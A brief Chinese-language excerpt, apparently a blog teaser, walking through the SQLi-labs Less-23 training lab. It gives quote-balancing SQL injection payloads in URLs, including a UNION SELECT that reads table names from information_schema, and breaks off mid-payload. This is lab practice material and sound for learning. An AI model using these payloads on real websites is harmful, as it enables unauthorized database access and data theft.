Sqlilabs-23

第 23 关对注入字符做了正则表达式的过滤，所以需要在引号上下功夫： http://sqlilabs/Less-23/?id=1' and '1 知道了原理构造起来就很简单了： –查表 http://sqlilabs/Less-23/?id=-1' union select 1,(select group_concat(table_name) from informatIon_schema.tab

>>阅读原文<<